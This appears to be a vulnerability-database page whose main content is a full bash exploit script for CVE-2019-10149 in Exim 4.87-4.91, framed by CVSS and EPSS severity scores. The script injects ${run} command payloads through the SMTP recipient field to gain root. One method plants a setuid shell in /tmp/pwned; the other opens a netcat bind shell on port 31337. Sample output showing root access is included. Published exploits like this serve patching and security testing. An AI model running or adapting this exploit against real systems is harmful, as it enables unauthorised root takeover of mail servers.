9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.9 High
AI Score
Confidence
High
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.974 High
EPSS
Percentile
99.9%
#!/bin/bash
#
# raptor_exim_wiz - "The Return of the WIZard" LPE exploit
# Copyright (c) 2019 Marco Ivaldi <[email protected]>
#
# A flaw was found in Exim versions 4.87 to 4.91 (inclusive).
# Improper validation of recipient address in deliver_message()
# function in /src/deliver.c may lead to remote command execution.
# (CVE-2019-10149)
#
# This is a local privilege escalation exploit for "The Return
# of the WIZard" vulnerability reported by the Qualys Security
# Advisory team.
#
# Credits:
# Qualys Security Advisory team (kudos for your amazing research!)
# Dennis 'dhn' Herrmann (/dev/tcp technique)
#
# Usage (setuid method):
# $ id
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
# $ ./raptor_exim_wiz -m setuid
# Preparing setuid shell helper...
# Delivering setuid payload...
# [...]
# Waiting 5 seconds...
# -rwsr-xr-x 1 root raptor 8744 Jun 16 13:03 /tmp/pwned
# # id
# uid=0(root) gid=0(root) groups=0(root)
#
# Usage (netcat method):
# $ id
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
# $ ./raptor_exim_wiz -m netcat
# Delivering netcat payload...
# Waiting 5 seconds...
# localhost [127.0.0.1] 31337 (?) open
# id
# uid=0(root) gid=0(root) groups=0(root)
#
# Vulnerable platforms:
# Exim 4.87 - 4.91
#
# Tested against:
# Exim 4.89 on Debian GNU/Linux 9 (stretch) [exim-4.89.tar.xz]
#
METHOD="setuid" # default method
PAYLOAD_SETUID='${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fpwned\x3bchmod\t4755\t\x2ftmp\x2fpwned\x22}}@localhost'
PAYLOAD_NETCAT='${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t31337\t-e\t\x2fbin\x2fsh\x22}}@localhost'
# usage instructions
function usage()
{
echo "$0 [-m METHOD]"
echo
echo "-m setuid : use the setuid payload (default)"
echo "-m netcat : use the netcat payload"
echo
exit 1
}
# payload delivery
function exploit()
{
# connect to localhost:25
exec 3<>/dev/tcp/localhost/25
# deliver the payload
read -u 3 && echo $REPLY
echo "helo localhost" >&3
read -u 3 && echo $REPLY
echo "mail from:<>" >&3
read -u 3 && echo $REPLY
echo "rcpt to:<$PAYLOAD>" >&3
read -u 3 && echo $REPLY
echo "data" >&3
read -u 3 && echo $REPLY
for i in {1..31}
do
echo "Received: $i" >&3
done
echo "." >&3
read -u 3 && echo $REPLY
echo "quit" >&3
read -u 3 && echo $REPLY
}
# print banner
echo
echo 'raptor_exim_wiz - "The Return of the WIZard" LPE exploit'
echo 'Copyright (c) 2019 Marco Ivaldi <[email protected]>'
echo
# parse command line
while [ ! -z "$1" ]; do
case $1 in
-m) shift; METHOD="$1"; shift;;
* ) usage
;;
esac
done
if [ -z $METHOD ]; then
usage
fi
# setuid method
if [ $METHOD = "setuid" ]; then
# prepare a setuid shell helper to circumvent bash checks
echo "Preparing setuid shell helper..."
echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" >/tmp/pwned.c
gcc -o /tmp/pwned /tmp/pwned.c 2>/dev/null
if [ $? -ne 0 ]; then
echo "Problems compiling setuid shell helper, check your gcc."
echo "Falling back to the /bin/sh method."
cp /bin/sh /tmp/pwned
fi
echo
# select and deliver the payload
echo "Delivering $METHOD payload..."
PAYLOAD=$PAYLOAD_SETUID
exploit
echo
# wait for the magic to happen and spawn our shell
echo "Waiting 5 seconds..."
sleep 5
ls -l /tmp/pwned
/tmp/pwned
# netcat method
elif [ $METHOD = "netcat" ]; then
# select and deliver the payload
echo "Delivering $METHOD payload..."
PAYLOAD=$PAYLOAD_NETCAT
exploit
echo
# wait for the magic to happen and spawn our shell
echo "Waiting 5 seconds..."
sleep 5
nc -v 127.0.0.1 31337
# print help
else
usage
fi
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.9 High
AI Score
Confidence
High
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.974 High
EPSS
Percentile
99.9%